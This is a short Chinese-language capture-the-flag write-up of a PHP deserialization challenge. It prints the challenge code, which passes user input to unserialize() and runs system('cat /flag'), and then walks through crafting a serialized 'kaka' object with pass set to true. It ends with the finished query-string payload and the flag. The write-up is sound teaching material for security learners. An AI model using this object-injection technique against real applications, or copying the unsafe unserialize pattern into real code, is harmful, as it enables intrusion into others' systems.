一道关于反序列法的web题
<?php
error_reporting(0);
$name=$_GET['name'];
$age=$_GET['age'];
$pop=$_GET['pop'];
if(isset($name) && isset($age)){
$word = unserialize($pop);
if($word->cname($name,$age)){
$word->cflag();
}else{
echo "no word, flag";
}
}
class kaka{
public $pass=false;
public $name='name';
public $age='age';
function __wakeup(){
$this->name = 'lilei';
$this->age='two';
}
public function cflag(){
if($this->pass){
eval(system('cat /flag'));
}else{
echo "no word, flag";
}
}
public function cname($n,$a){
if($this->name===$n){
if($this->age===$a){
return true;
}
}
}
}
highlight_file(__FILE__);
题目已经将源码显示出来了
根据题目,首先我注意到,需要上传的参数有3个
$name,$age,$pop
题目给出了一个类,从中看出,题目就是围绕着这个类运行的
在类中审视一圈,找到关于falg的函数
cflag()
根据方法中指示,需要到达这一步需要$pass=true
然后类中初始化$pass等于false
在回到主函数,我注意到
unserialize()
//反序列函数
这里基本可以确定做题思路了
我先满足name和age变量
开始我是准备name=name&age=age
然而,我发现类中的函数会执行一个操作,就是修改需要判断的变量值
这里及时修改name=lilei&age=two
然后只需要在根据类拼写好pop的值就行了
注意到是,其中有个需要判断类中的pass=true
所以基本上改下pass的值就ok
o:4:"kaka":3:{s:4:"pass";i:1;s:3:"age";s:3:"age";s:4:"name";s:4:"name";}
//注意到是,这时候我并不知道布尔值在中表示什么
//但是可以用随意值代替
//在php中除了0,空的值,false等表示假,其他都是表示真
//而name和age因为会被修改所以,可以随意给值
最后pop拼接好,就得出flag了
?name=lilei&age=two&pop=O:4:"kaka":3:{s:4:"pass";i:1;s:4:"name";s:4:"name";s:3:"age";s:3:"age";}
flag{FuRCX89vUrqBcHMM6r63HbeDnujkUANu}